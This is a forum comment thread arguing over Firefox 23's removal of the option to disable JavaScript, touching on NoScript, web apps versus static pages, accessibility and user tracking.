[Anonymous Coward]

You seem to forget that HTML, CSS, etc is for webpages, not applications.

Forgive him, he never knew.

Re:Solution in extensions

[Anonymous Coward]

What color is the sky in your world? And I don't mean in general. I just mean right now. Because I know it constantly changes for you.

Re:Solution in extensions

[Oligonicella]

"People deserve better than petty kings like you. They deserve to be kings themselves, to master their own fate."

You mean like people telling them they should only develop their pages in such-and-such a manner?

Simply sounds like another form of petty dictatorship.

Re:Solution in extensions

[tepples]

Or you could write a web application for IE 6 (still supported by Microsoft until the Windows XP cutoff in April 2014), IE 7 (which will remain supported by Microsoft until the Windows Vista cutoff sometime in 2017), IE 8, IE 9, IE 10, Gecko, and WebKit. And if this web application uses WebGL, it still won't run on a lot of machines.

Re:Solution in extensions

[amicusNYCL]

Web browsers aren't "the internet". It says a lot about you that you'd think they are.

I didn't claim anything like that. The internet in general and web browsers in particular are about a lot more than HTML.

Oh, my, the page refreshed. How awful.

There's no reason to transfer over 500KB across the wire so you can post a comment, or express interest in something, or any number of other small tasks. Sorry old timer, but that's the way it is. If you want to turn off Javascript and download the entire thing again every time you click anything, go ahead, but I'm not going to design something that purposefully does that if there's a better way (which there is).

You haven't really presented an argument against Javascript, other than just because at one point in time things on the internet didn't have a lot of Javascript. Technology advances, I'm sorry you have a hard time with that. You might be happy with 1994's internet, but I'm not going back to that. We've learned a lot since then.

Re:Solution in extensions

[Oligonicella]

Nice play on an old standard cliche, but not a true variant. One can write a quick, portable and reliable page/app. Been done many times, they're just small.

Re:Solution in extensions

[Anonymous Coward]

The promise of the internet was accessibility, the ability to freely share information, and to connect everything together.

Then the potential profit generating capabilities of the internet were realized, after which any failure to capture those profits was deemed a waste. Thus, a new "promise of the internet" was born -- TV with a mouse!

Re:Solution in extensions

[Uberbah]

The internet is becoming "app-ified" because users want their websites to do more, to load faster, to not have "flicker" whenever the page has to change something... The "old way" of websites is as dead as Geocities, because if we web developers actually designed them that way, our users/clients would never be happy.

Load faster? In either case your internet connection is going to be the bottleneck as you're waiting for data to load...

Re:Solution in extensions

[Darinbob]

The web is now more than HTML pages, true. But has it actually gotten better? Being able to run apps does not mean it's better.

Re:Solution in extensions

[Darinbob]

The problem are the internet designers who insist users "experience" things how they intend, and so accessibility has to go. Users are treated either as customers or as viewers of their artistic creations, and thus they are not allowed to modify how the site is presented. I'd much rather that web do less "useful stuff" and more presenting content.

If you want the web to be an application platform then that's of no interest to me. If you want the web to provide information to the users then that HTML was just fine.

Re:Solution in extensions

[Oligonicella]

I come from a time before "the web" and the Internet WAS applications. ... The folly is assuming that web pages have to be applications.

You don't see the contradiction in pining for the good old days where the Internet WAS the folly you abhor?

we still had search engines. We had email. We had message systems"

And they were crap. I was there. They were crap.

So the argument in favor of making javascript mandatory is so that people who click 'like' buttons won't be inconvenienced by a slower "web experience"? "

Who are you to complain? Your argument is javascript should disappear because some coders do stupid things you don't like with it.

Re:Solution in extensions

[Oligonicella]

"It's not about precious CPU cycles,..."

This. It seems that the most frequent argument is "consuming cycles". That's bogus. Even my old XP spends most of its time waiting and waiting. Speed is a bogus argument bordering on the ridiculous.

Re:Solution in extensions

[Anonymous Coward]

Hmm, so I should ditch my cross-platform application simply because you say so?
HTML5 applications take a lot of effort out of porting between platforms, if you can show me another framework where I can use the identical script and appearance files (i.e. no compiling) on iOS, Android, WP8 and Tizen then tell me about it.

Re:Solution in extensions

[reluctantjoiner]

Maybe I should have used "cheap" instead. By quick I was referring to the pace of development and deployment. So you can make things portable and reliable, it just takes time. The time that the AC above doesn't want to spend making custom versions and installers. Which is fine; it's just that whichever way you go, there's always something to trade off.

Re:Solution in extensions

[jockm]

True, but that is really a different matter, I was addressing JavaScript and Screenreaders. The problem you describe could be triggered in simple CSS without JS at all.

You can write accessible web pages, or you can write ones that break accessibility, but that doesn't (per se) have to do with JS

Re:Solution in extensions

[Arker]

What exactly is the point of making this a 'web app' anyway? I cant imagine it's portable, if it's windows-only already why not just distribute it as a normal win32 application instead?

Re:Solution in extensions

[gottabeme]

Hey, his UID is lower than...oh, nevermind.

But mine is! And he's completely right. And you haven't refuted his argument at all.

Re:Solution in extensions

[Anonymous Coward]

Yeah I don't care.. write a native application that's relatively portable and release binaries for targeted platforms. I don't depend on applications that can be yanked/changed into uselessness/charged monthly fees for.

Re:Solution in extensions

[gottabeme]

It has an option to allow scripts from top-level domains by default. That combined with adblock and whitelisting stuff like jquery.com is probably good enough.

Re:Solution in extensions

[gottabeme]

Sad but true.

Some things that help are Lazarus, and AdBlock Plus (if you trust it to block most third-party garbage, you can enable scripts by default, at least for top-level domains).

You think that's bad? Try using AdBlock Plus, NoScript, Cookie Monster, and RequestPolicy. It's actually impossible to order a Domino's pizza online now. (But Papa John's works.)

Re:Solution in extensions

[Myopic]

The difference remains. Books are documents; the web is applications, some of which are very simple info-only applications.

Re:Solution in extensions

[Anonymous Coward]

If you don't like what HTML, CSS, etc model and want your stuff to behave like an application... then write a fucking application instead! ... and get the hell off my lawn, too.

This has been my thinking for years, since there is apparently a desire for hyperlinked remotely delivered applications, why hasn't someone built a protocol and client program that is designed for remotely delivered applications, rather than creating this inelegeant, ugly, inefficient, slow and unreliable mess of trying to abuse a document format to build applications.

Windows, OSX, the freedesktop model, and most browsers have a way to define handlers for new uri schemes, such as for telnet: magnet: ssh: torrent: etc, it would be easy to install your new application client as for example rda: and have the browser open that application when you click a hyperlink to an application and vice-versa when you click an http link in an rda.

It disgusts me and makes me think the whole IT sector has gone insane that everyone is obsessed with building these rube-goldberg machines for delivery of RDAs.

Re:Solution in extensions

[Anonymous Coward]

wai-aria compliance actually requires js, you can't do the required keybindings for html widgets without it

Re:Solution in extensions

[bingoUV]

People (as in: casual web users) have been generating content since forever (Geocities, for example). The difference is, Web 2.0 allows any idiot to do it

Right, Geocities on the other hand, required that only an idiot do it.

But anyway, google should be able to index the HTML properly

They give a completely different response to googlebot.

Re:Solution in extensions

[bingoUV]

Actually screen readers don't interact with javascript. After javascript is done, and there is a DOM to read, screenreader just reads it. If the page changes partially, one of the legitimate uses of javascript, different screenreaders have different heuristics about whether to restart completely, so there you are right.

That said, javascript is not responsible for killing screen reader experience, nor can javascript on its own improve screen reader experience. Similarly, neither banning nor requiring javascript will fix this problem.

What will (and does) fix the problem is - regulation. We have nice regulation there - people are free to create any shitty web page. But if your company makes web pages that don't work well with screen readers, you don't get government contracts. Simple. Just for this reason, the company I work with spends a lot of effort in making sure experience with screen readers is good. I think that is cool.

Re:Solution in extensions

[bingoUV]

But you're suggesting there's no place for a responsive online mail client

Gmail works ok without javascript.

Re:Solution in extensions

[Anonymous Coward]

To paraphrase Microsoft, a browser is the operating system for NoScript. When a new browser comes out, we can ask "but does it run NoScript"?

Re:Solution in extensions

[Anonymous Coward]

This really grinds my gears! For us FF+Vimperator/Pentadactyl (addon to make firefox keyboard-only), sites that have some kind of dumb mouse-move handler that triggers a completely unrelated refresh function or whatnot means that we have to continually reach out to 'nudge' the mouse :-(

Re:Solution in extensions

[dave420]

So you think running native binaries is somehow more secure than running JS in a browser?? *head assplodes*

Re:Solution in extensions

[amicusNYCL]

It's not OS-specific, it supports IE6+ and any other recent browser that will run Javascript. We typically use Chrome, Safari, and Firefox when developing and testing it. I use Opera for regular browsing, but I don't bother to do a lot of testing with Opera, I don't think we have a single customer that uses Opera. Developers use both Windows and OSX, whatever they prefer (we don't have any devs that prefer Linux). It was initially designed before the mobile explosion, so it doesn't work very well on touchscreen devices (it uses things like drag and drop and double click, which don't work on touchscreens). There's a mobile interface in development that non-admins will be able to use, but admins still need the full-blown interface for now. It's an online university though, so it doesn't really make sense to make that a native application. All the records and content need to be stored on a central server, we wouldn't gain anything by making it a native application for any OS, and maintaining multiple versions for different platforms would be a nightmare.

Re:Solution in extensions

[DrVxD]

Javascript shits on that entire model,

No, Javascript allows dumb web monkeys to shit on that model - there's a big difference.

Re:Solution in extensions

[kwbauer]

As i and others have said before and will say again... you are still free to put up your own web-site, structured as you see fit with the data you see fit. Nobody is stopping you. Nobody is forcing you to put up anything other than straight text.

Re:Solution in extensions

[AlabamaCajun]

They just use javascript to annoy us with those stupid slideshows that cause epileptic pandemics. I agree, run the code on your server.

Re:Solution in extensions

[Rakarra]

Well if the JS is just manipulating the DOM (as is the most common case) it should be as good or bad as the average web page

Depends. A lot of sites seem to get built these days that assume the user has a way to trigger onmouseover events. This isn't necessarily true.

This is true but is fortunately less and less common now. Tablets and smart phones are taking over web browsing, and sites often need either a dedicated mobile version or to make their regular version not mouse-dependent. So it's a problem that is annoying now, but I can't see it getting any worse.

I just hope TV Tropes is fixed soon. :D

Re:Solution in extensions

[Rakarra]

If you don't like what HTML, CSS, etc model and want your stuff to behave like an application... then write a fucking application instead! ... and get the hell off my lawn, too.

Using what? The days of a random site writing native apps are gone. Many people have rightfully been conditioned to not download executables from web sites. Most people have Java plugins installed but wouldn't know how to run a standalone Java app. Developers don't want to write applications for Windows/Mac/Linux(if you're lucky), nor should they, when they have this easy, cross-platform framework that works on every machine with a new-ish web browser.

The requirements are that the user shouldn't have to download or install anything and the developers shouldn't have to write more than one version of it. These two are very important and go far to explain why the web has become what it is. It also explains why Flash has become so dominant in the field of video presentation.
HTML/CSS/Javascript becoming an app platform fulfills a real NEED on the part of developers and users. Maybe there should be something better, maybe it would be far better to have a system like Java that was designed from the ground up for this. But it's what we have now.

Re:Solution in extensions

[Rakarra]

The problem are the internet designers who insist users "experience" things how they intend, and so accessibility has to go. Users are treated either as customers or as viewers of their artistic creations, and thus they are not allowed to modify how the site is presented. I'd much rather that web do less "useful stuff" and more presenting content.

A very big problem is that the web is much less presentation of information now, and more like cable TV and radio -- there is a veneer of site information surrounded by and supported by advertising that actually keeps the site operational. Everything is about assisting advertising, and there's just enough usefulness in the site to keep people there rather than going to a competitor.

Re:Solution in extensions

[Rakarra]

You're right. It was meant for everyone. The ultimate expression of democracy, and freedom of information... not parasites like you who are only interested in money and your own selfish desires.

And who is going to PAY for it? Who is going to pony up the cash that it takes? Things take money and/or time, which is also money.

Re:Solution in extensions

[Rakarra]

The internet is becoming "app-ified" because users want their websites to do more, to load faster, to not have "flicker" whenever the page has to change something... The "old way" of websites is as dead as Geocities, because if we web developers actually designed them that way, our users/clients would never be happy.

Load faster? In either case your internet connection is going to be the bottleneck as you're waiting for data to load...

I think he meant "load faster" as in "when I change something, it only has to download the 20k of changes rather than the whole 200k of javascript webpage." Not load faster as in "there's not a huge amount of code, it's a clean static page that is only 20k large in the first place.

Re:Solution in extensions

[Anonymous Coward]

A little blood, fake or real, gives the impression that you have some real world experience with wielding your death tool of choice. (Weapons-Farm Tools: +1)

NoScript

[Anonymous Coward]

Does this break noscript functionality as well? That would be massively unappealing.

Re:NoScript

[plover]

Does this break noscript functionality as well? That would be massively unappealing.

No. NoScript is a plug-in that refuses to load undesirable JavaScript references. They are stopped before they get into your browser.

Re:NoScript

[julesh]

Does this break noscript functionality as well? That would be massively unappealing.

No. NoScript is a plug-in that refuses to load undesirable JavaScript references. They are stopped before they get into your browser.

The mechanism you describe wouldn't work against inline javascript, so I must conclude that this is not how NoScript actually works.

Re:NoScript

[PRMan]

If they are inline, the url itself would be listed first.

Re:NoScript

[plover]

Blocking the URLs is only one of its mechanisms. The lack of a JavaScript switch hasn't hampered its inline suppression capabilities, either. Since I normally run it trusting scripts originating from the site's domain, that isn't as much of an issue for me.

Re:noscript

[Anonymous Coward]

This site is best viewed in IE5 at 800x600. Welcome to the past.

Re:noscript

[Arker]

"This page is built using Javascript, but it seems that you have Javascript disabled on your browser. Please enable Javascript and refresh this page to continue."

And that is absolute bare minimum formal requirement of the language. If you use a script on your page and you didnt do that, you didnt write a web page, but a defective abortion of one. It's like claiming you wrote a program in C when the sucker wont compile.

The vast majority of websites that use javascript would work perfectly fine without it, and therefore have absolutely no excuse for not working properly regardless of whether or not javascript is permitted or not.

And even the tiny handful that are doing something useful that is not doable otherwise should still use noscript tags to explain what it is that requires javascript and why.

A page that 'breaks mysteriously' when exposed to sane security settings is, again, an abortion not a web page.

Re:noscript

[henni16]

I love all those sites which have noscript tags and the only thing that's in it is references to pixel.quantserve and all the other tracker services the site uses.

Yay, another page impression!
Who cares if the user actually saw the ads or *gasp* any content.

Re:noscript

[Anonymous Coward]

you should not just note 'this page uses javascript' but explain briefly _why_ your page uses javascript

Let's dumb it down for everyone

[h4rr4r]

Why is this a thing?
Why must we dumb down everything?

Re:Let's dumb it down for everyone

[Anonymous Coward]

Apple.

Re:Let's dumb it down for everyone

[Anonymous Coward]

Everyone are dumb

Re:Let's dumb it down for everyone

[Anonymous Coward]

Why is this a thing?
Why must we dumb down everything?

Don't ask me, especially since one would automatically assume a user IQ of at least 100 to download and install a browser to get away from the default one, which is truly idiot-proof.

Re:Let's dumb it down for everyone

[Anonymous Coward]

Bad coders which are unable to support the various little configuration options properly anymore.

Re:Let's dumb it down for everyone

[justplainchips]

Why is this a thing? Why must we dumb down everything?

Because Steve Jobs proved you could make a lot of money doing it.

Re:Let's dumb it down for everyone

[Anonymous Coward]

Don't ask me, especially since one would automatically assume a user IQ of at least 100 to download and install a browser to get away from the default one...

You're forgetting all the /. folk who do this for their retarded relatives...

Re:Let's dumb it down for everyone

[yotto]

Why is this a thing?
Why must we dumb down everything?

Because if you don't, a significant number of "dumb" people will complain loudly that your program "sucks" because it "broke the Internet" on their computer, and slowly the world's view of your software will degrade. It doesn't matter to 95% of the world WHY that web page worked in IE but didn't work in Firefox. All they care about is seeing pictures of their nephew's cat.

So long as NoScript and AdBlock work, this decision will not affect me or any other person savvy enough to care, unless there is a large contingent of people for whom NoScript won't fulfill their needs.*

*I'm not discounting this possibility, but I've never heard of it.

Re:Let's dumb it down for everyone

[jellomizer]

Ah the "Dumbing Down Excuse" which is akin to the Intentionally Make it more difficult preference.
Making something easier to use isn't always dumbing it down. For Disabling Javascript (Not just blocking some of it), it is a feature that most people will no longer, if they do they intentionally put themselves in a disadvantage.

 

Re:Let's dumb it down for everyone

[jedidiah]

Except dumb people complain anyways.

Although this isn't really about "dumb", it's about lazy. Many people that seem "dumb" really are just lazy. They choose to be helps and there is simply no helping the helpless. You cannot dumb things down enough for them. Sooner or later their faux helplessness will manifest again.

Enabling helpless and lazy only encourages more of it.

Re:Let's dumb it down for everyone

[Anonymous Coward]

Why is this a thing?
Why must we dumb down everything?

If you want to disable JavaScript, install an extension.

If you (or your sysadmin) can't install an extension, you should not have JavaScript disabled.

Re:Let's dumb it down for everyone

[Algae_94]

if they do they intentionally put themselves in a disadvantage.

Notice your use of the term 'intentionally'. Are there really a large number of users that get into the configuration menu to turn off javascript and then can't figure out why the internet is broken. A good percentage of sites will flat out tell you that javascript is disabled and you need to enable it to use the site. I don't see why this option can't persist.

Re:Let's dumb it down for everyone

[scream at the sky]

Because as the barriers to entrance get lower, and access gets easier, less and less educated people will use the service.

Unfortunately, general purpose application developers have to cater to the lowest common denominator in order to get wide spread use of their software.

Re:Let's dumb it down for everyone

[RightwingNutjob]

Back in my day, the web didn't have no fancy javascript. Web sites were displayed in poorly layed out, hand-coded HTML, with dancing baby GIFs and background schemes that made the text unreadable. And that's how we liked it.

Re:Let's dumb it down for everyone

[Obfuscant]

Because if you don't, a significant number of "dumb" people will complain loudly that your program "sucks" because it "broke the Internet" on their computer, and slowly the world's view of your software will degrade.

Rightly so, if your web page demands to run arbitrary code on other people's computers. And isn't smart enough to detect (like many sites already can) that the reason why the user isn't getting "an optimal web experience" is because he's turned javascript off, and you can't be arsed to tell him how to turn it back on and why he should.

And then leave the decision in the hands of the user, not the browser writer.

Re:Let's dumb it down for everyone

[tepples]

And isn't smart enough to detect (like many sites already can) that the reason why the user isn't getting "an optimal web experience" is because he's turned javascript off

That's the easy part. a paragraph with a particular class that the first script on the page hides.

and you can't be arsed to tell him how to turn it back on and why he should.

That's the hard part. Each browser has a different menu and dialog structure and thus a different sequence of steps for reenabling script. Without script, how is a web site supposed to detect for which browser to display the instructions, especially if users of different web browsers are behind a single caching proxy?

Re:Let's dumb it down for everyone

[Obfuscant]

That's the hard part.

Yes, explaining why he should is usually hard. "Because I can't write web pages without javascript to do pretty things, and I expect you to look at my pretty things..." isn't much of a reason. Putting a link that says "here's how to turn it back on" with a page that covers the main browsers (and if the programmer is smart enough, is specific for the browser the user has), is easy. It could be written once and linked to by millions of other people. I would hazard a guess that each of the major browser authors already has a FAQ that covers "how do I turn javascript on" for their browsers.

Without script, how is a web site supposed to detect for which browser to display the instructions,

It's called the User-Agent header. No javascript necessary to get it. I'm running an absolutely ancient version of Apache and even IT has the ability to conditionalize responses based on User-Agent.

especially if users of different web browsers are behind a single caching proxy?

If the proxy prevents the User-Agent header from being passed, it is broken. That header is there for a reason -- for the use of the server.

Javascript can still be disabled

[Anonymous Coward]

They just removed the easy way to turn it off to prevent simple mistakes. You can still turn it off behind about:config or with extensions for those that need it.

Re:Javascript can still be disabled

[kthreadd]

The major problem is that they turn it on EVEN if you have explicitly turned it off.

Re:Javascript can still be disabled

[Anonymous Coward]

Major? Really? Having to turn Javascript off again manually is hardly the biggest sin committed by a browser vendor, let alone a deal breaker. At least you still have the choice.

Re:Javascript can still be disabled

[SimonTheSoundMan]

It will still remember the choice from your profile as it saves the preference of the toggle UI switch in prefs.js, which is also accessible to edit via about:config.

If it is a new profile, you have always had to explicitly turn it off in the first place anyway. Quit trolling.

Re:Javascript can still be disabled

[Anonymous Coward]

So then what you're saying is that the Slashdot news item, which says:

It seems that Firefox 23, currently in beta, has removed the option to disable JavaScript.

...is total bullshit, and should have read:

It seems that Firefox 23, currently in beta, has removed the GUI option to disable JavaScript.

In which case, the driving force seems to be "to remove GUI options". And how much of the Firefox code (I want line counts, kilobytes of space used, and how long it takes to compile/how much time it adds to a compile) is dedicated to the GUI checkbox "Enable JavaScript"? Hundreds of megabytes, and an extra 15 minutes? Surely not.

So again -- what is the driving force here other than "change for the sake of change"?

Re:Javascript can still be disabled

[kthreadd]

The problem is that they don't tell you about it.

Re:Javascript can still be disabled

[SimonTheSoundMan]

To be honest, the amount of time I have been called out because someone "internet browser isn't working", the usual problem is someone has disabled images of JS.

Re:Javascript can still be disabled

[Anonymous Coward]

You're missing the point, either that or we're talking past one another.

So Mozilla removes the GUI option to disable JS. What do you think the user does? Say "oh well, fuck it?" Nope. They immediately go to Google, search for "firefox disable javascript", dig around for a few minutes, happy to discover they can still do it via about:config.

Thus, the removal of the GUI option doesn't help ***you*** in any regard either. All it does is obfuscate, with no actual justification on Mozilla's part. The existing GUI checkbox doesn't hurt anyone, it doesn't pose a security threat/concern, and its removal does not simplify anything.

That said: I have no real aversion to the removal of GUI features, as long as their functionality toggle capability is left in about:config. Which reminds me, Mozilla really needs to stop jacking off and make a proper about:config importer/exporter. I'm sick of having to write down all the toggles in a .txt file.

Re:Javascript can still be disabled

[Anonymous Coward]

Read the article, an extension author is complaining that it's no longer possilbe to disable JS from an extension.

Re:Javascript can still be disabled

[epyT-R]

What simple mistake is that?

Re:Javascript can still be disabled

[gottabeme]

I don't blame them for disabling those. Pretty boring stuff.

Re:Javascript can still be disabled

[Elbart]

http://limi.net/checkboxes-that-kill/
Note: The author of that article left Mozilla for Facebook three weeks ago.

Re:Javascript can still be disabled

[SimonTheSoundMan]

They usually click the button not know what it does. They have no idea what JS is.

Re:Javascript can still be disabled

[Waccoon]

They just removed the easy way to turn it off to prevent simple mistakes.

Simple people don't go mucking around with those settings in the first place.

Mozilla could simply move it to the "advanced" menu and be done with it.

The option is not removed.

[Anonymous Coward]

(atleast in nightly) Its just hidden, you can still enable/disable javascript in the about:config menu and addons like noscript still work.

Re:The option is not removed.

[Dagger2]

Just like Tabs on Top, right?

(browser.tabs.onTop is being removed when Australis lands, which I guess will be in Firefox 25 or 26.)

Re:The option is not removed.

[gnupun]

It's hidden (in GUI) now, but could be removed in the future in about:config too. Why do they make changes without asking users whether they want it or not? Only expert users are going to disable JavaScript, so it's not going to affect any noob user.

There are many hacked sites that serve malware as Javascript. Noscript and disabling JS is a good way to handle these problems. What idiot decided to remove this feature and why doesn't he ask the community's permission before making such decisions?

Re:The option is not removed.

[Anonymous Coward]

about:config is where options go to die. They'll leave it in about:config for a few releases and then remove the option entirely.

Re:The option is not removed.

[Sporkinum]

Yep, confirmed, javascript.enabled;true is still there. Also, noscript works fine on 23.

Re: The option is not removed.

[Anonymous Coward]

The fuck? I want to make sure I'm understanding this.. (I've been mainly using Chromium for the last couple years, and deleted Ff from all my machines when they discontinued X11-compatible Fennec builds for N900 in favor of an Android-only version, so I've observed Ff's most recent bouts of insanity at a great distance.)

Are you saying that desktop Ff is getting the same retarded tabs-in-a-hideable-panel-on-the-left thing it has in Android? Because that is the single most infuriating design decision I saw when I tried it (my parents use Ff on their Xoom -- it's not touching my Transformer with a 10-foot pole). If that's happening... well, I'm not real sure what I can do about it, but I'll be angry all over again.

Re:The option is not removed.

[Anonymous Coward]

#TabsToolbar{-moz-box-ordinal-group:100!important} in your userchrome.css forces tabs on the bottom (even with browser.tabs.onTop = true)

Re:The option is not removed.

[Dagger2]

Yeah, I tried that and it mostly worked. Though there are a few issues.

Hopefully implementing Small Icons mode and an Add-ons Bar will be as easy...

Re: The option is not removed.

[Dagger2]

No, I'm saying that browser.tabs.onTop (and the associated functionality of displaying the tab bar below the toolbar) will be removed.

Re:The option is not removed.

[gottabeme]

Tried Pentadactyl?

Re:The option is not removed.

[gnupun]

As others have mentioned, Javascript is extremely important for tracking/spying on web users' activities. A typical top news website contains scripts from Google Analytics, Facebook, Twitter, DoubleClick, etc. Outwardly, these sites sport a "share on twitter", 'post on FB' links on the page, but these links get hardly used. What they do instead is install cookies so they can track all the pages a user is viewing.

And since Google pays Mozilla, it's very likely they wanted this feature implemented to prevent users from stopping web tracking.

Re:The option is not removed.

[Dagger2]

Can't say I had. It's not really what I want in a browser, although keyboard access to more functionality is nice. If I could get it to not take over the UI, status bar and a bunch of keyboard shortcuts, and only show up when I hit :, I might be more likely to leave it installed.

Is the option completely removed?

[Anonymous Coward]

I'm assuming this means just that the option is removed from the Options panel, but is still available through about:config? Or at the very least extensions like NoScript still work? If so, this doesn't seem like a big issue, but it's not clear from the article.

This is a broken idea

[Anonymous Coward]

There are a lot of programmers who apparently believe in no security then.

Javascript has really never been a smart idea (at least as implemented), and unconditionally allowing it is stupid.

I have long felt it should just not be possible. Currently the only web-browsers I run with JS enabled are in an isolated virtual machine

Re:This is a broken idea

[Anonymous Coward]

Currently the only web-browsers I run with JS enabled are in an isolated virtual machine

I don't see why there would be need to do so.

Re:This is a broken idea

[liamevo]

There is definitely a point were you begin to take security to levels resembling paranoia. I think you found it.

If true then no reason to use Firefox

[Spy Handler]

I still use Firefox over Chrome because it has a much better array of options and is more customizable than Chrome. Even though Chrome is faster, has better updates, can save to PDF, comes with popular plugins built in as opposed to having to download them separately, etc etc.

Firefox devs please get a clue. Apple and Google need to reduce options because they have to appeal to the clueless masses. You do not. You cannot go toe to toe with the big guys by trying to be exactly like them.

Re:If true then no reason to use Firefox

[Anonymous Coward]

Actually, they do. There are a larger number of Firefox users who are non-technical then ones who are technical. Besides, if you'd bothered to research this, you'd know that they're just removing the easy way to disable Javascript for a non-tech user, so quit your uninformed whining and continue enjoying your browser.

Re:If true then no reason to use Firefox

[Intrepid imaginaut]

Even though Chrome is faster

Hahaha hahaaaa... ahahaha!!

Agreed

[Giant Electronic Bra]

There is ZERO chance I'm going to use a browser which doesn't allow me to default JS to being disabled. NoScript is also FAR advanced beyond other similar tools, so it would REALLY SUCK to have to use Chromium's lame equivalent, but I will if it is the only choice. At least in other respects Chromium is pretty good.

Re:Agreed

[nitehawk214]

There is ZERO chance I'm going to use a browser which doesn't allow me to default JS to being disabled. NoScript is also FAR advanced beyond other similar tools, so it would REALLY SUCK to have to use Chromium's lame equivalent, but I will if it is the only choice. At least in other respects Chromium is pretty good.

In what ways is NoScript more advanced than ScriptSafe?

Re:Agreed

[EMN13]

They just removed the UI - this doesn't affect things like Firebug, Noscript, and they *probably* didn't even remove the UI completely - if you can call about:config a UI.

Re:Agreed

[Giant Electronic Bra]

I find it to be a considerably more polished and usable plugin. I haven't really explored all of the dimensions of ScriptSafe either. NoScript has been around for a number of years and has built a solid reputation. The author is reliable, the plugin works and is quite hard (in most cases impossible) to circumvent etc. At this point I can't say the same for ScriptSafe or that it covers all various little crafty browser holes that NoScript does. I'll give it a chance, and if FF really did ever eliminate blocking of JS I'd probably have no choice but to use it. We'll see. My feeling with security tools is use what you know well and be careful about new stuff.

I'll do some testing with ScriptSafe and perhaps if I get a chance I'll comment back here on what I see.

Re:Agreed

[PRMan]

The NotScript extension for Chrome works almost identically to NoScript.

Re:Agreed

[Giorgio Maone]

There is ZERO chance I'm going to use a browser which doesn't allow me to default JS to being disabled. NoScript is also FAR advanced beyond other similar tools, so it would REALLY SUCK to have to use Chromium's lame equivalent, but I will if it is the only choice. At least in other respects Chromium is pretty good.

In what ways is NoScript more advanced than ScriptSafe?

Besides some "minor" features first introduced by NoScript, which advanced the state of the art of browser security (such as the most effective in-browser XSS filter, the ClearClick anti-Clickjacking technology and the Application Boundaries Enforcer module), NoScript holds a modest advantage over all its Chrome-based "clones": basic script blocking which actually works ;)

Re:Agreed

[X0563511]

Stop panicking, someone reported that NoScript functions in the beta.

Re:Agreed

[Anonymous Coward]

You tell him, G-man! NoScript is the number one feature that makes firefox the number one browser amongst sophisticated users.

This is what Apple does.

[raque]

Apple has been removing options for users for years. The first versions of OSX were close to linux in the number of things you could do, these days I forget it's a Unix variant. Macs are what Steve, or these days Jon, thinks is good for you. That seems high handed until you think if you buy a Ralph Lauren suit your getting what Ralph thought was good for you. That being said, the number of times I went to the rescue of some noob who what whining that his Mac version 10.5 or earlier was broken and sat there and went WTF??!! I'd be able to buy a new Mac. As Apple has steady *not* let people think for themselves things have gotten stabler and stabler.

Re:This is what Apple does.

[Anonymous Coward]

Amen to that. Want to keep your Macbook on when you close the lid rather than it going to sleep? Expect to be able to find that option in Power Settings or whatever? Wrong! Apple have decided that All Macbooks Must Sleep when the lid is closed, and if you want it to function in any other way, you're just doing it wrong.

Re:This is what Apple does.

[BitZtream]

There are multiple documented ways to do exactly this. Those ways are even included with the Apple Cinema Display and Apple Thunderbolt Display monitors.

Re:This is what Apple does.

[Anonymous Coward]

Apple has been removing options for users for years. The first versions of OSX were close to linux in the number of things you could do, these days I forget it's a Unix variant. Macs are what Steve, or these days Jon, thinks is good for you. That seems high handed until you think if you buy a Ralph Lauren suit your getting what Ralph thought was good for you. That being said, the number of times I went to the rescue of some noob who what whining that his Mac version 10.5 or earlier was broken and sat there and went WTF??!! I'd be able to buy a new Mac. As Apple has steady *not* let people think for themselves things have gotten stabler and stabler.

Firefox is not Apple, nor should it be.

Those who want the Apple Experience already use an Apple browser.

Firefox should get a clue about who their userbase is: those who want or need *control* over their machines.

If Firefox stops catering for us (by making the same mistake as Ubuntu and Microsoft: chasing the iStuff), we should fork it.

Simple != Dumb

[sjbe]

Why must we dumb down everything?

More like simplifying. Everything should be made as simple as possible but no simpler. Why have a menu option that never gets used? That is pretty much the definition of pointless. I'm pretty geeky and like to tinker with things but a menu option that never ever gets used is wasteful.

I cannot remember the last time I disabled Javascript and I'm pretty confident that somewhere north of 99.9% of users never disable it either. Much of the modern web would be useless without Javascript. So long as there remains a method (extension, etc) to disable it if desired (ala NoScript) I really don't see the big deal.

Re:Simple != Dumb

[h4rr4r]

I turn it off all the time.
I am sure 99.9% of folks don't even know what javascript is, why should I care?

Re:Simple != Dumb

[Anonymous Coward]

Just because you don't use that options doesn't nobody else does. And im pretty confident that that 99.9% figure of yours is wrong, i myself and other people have disabled javascript explicitly and as shocking as it may sound, most sites do NOT need javascript to function properly, and most of those who do are not worth it.

Re:Simple != Dumb

[Anonymous Coward]

Because 0.1% shouldn't drive features that predominantly break stuff. As sjbe was saying, that's what plugins are for.

Re:Simple != Dumb

[Anonymous Coward]

My website absolutely requires java script to function, and it's very worth it. It's an interactive webapp and there is nothing else like it. Granted, it has a very limited audience, measured in the thousands someday, not the millions, but it's very useful for those thousands.

Re:Simple != Dumb

[QuietLagoon]

More like simplifying.

When you make something idiot-proof, only idiots will want to use it.

Re:Simple != Dumb

[Anonymous Coward]

You mean extensions, not plugins.

Re:Simple != Dumb

[gl4ss]

the menu option made you unable to use mozilla marketplace.. http://www.mozilla.org/en-US/apps/

besides, I bet there's plenty more of menu options they didn't remove that just 1% touches, if not anywhere else then in the hidden menu.. like connections per server. they're just dicking around and it's a political move that would be moving towards breaking noscript in the future.

Re:Simple != Dumb

[doom]

"I'm pretty geeky and like to tinker with things" && "I cannot remember the last time I disabled Javascript" => and I am now calling "bullshit".

Everybody wants to claim they're a geek, these days.

Re:Simple != Dumb

[Anonymous Coward]

Type "about:config" into the address bar.

You're welcome.

Re:Simple != Dumb

[Swarley]

When you try to substitute fortune cookie slogans for reasonable argument only idiots will listen to you.

Re:Simple != Dumb

[Anonymous Coward]

Why must we dumb down everything?

More like simplifying. Everything should be made as simple as possible but no simpler. Why have a menu option that never gets used? That is pretty much the definition of pointless. I'm pretty geeky and like to tinker with things but a menu option that never ever gets used is wasteful.

Go ahead, hand in that geek card. The option doesn't get used because it's not useful enough. Opera, for example, has a per-site javascript switch in addition to a master switch. That one gets used quite a lot, and for good cause.

The stated reason in the summary, though, is basically that they're sick of the user complaints, and they're effectively saying YOU CAN'T HANDLE THE JAVASCRIPT SWITCH. Well, thanks for that, Col. Mozilla.

Re:Simple != Dumb

[doom]

And I'm pretty confident that that 99.9% figure of yours is wrong,

Right, I forgot: real geeks don't make up statistics.

Re:Simple != Dumb

[fahrbot-bot]

Why must we dumb down everything?

More like simplifying. Everything should be made as simple as possible but no simpler....

Praise be the sanctified one that decides what is simple enough for the rest of us.

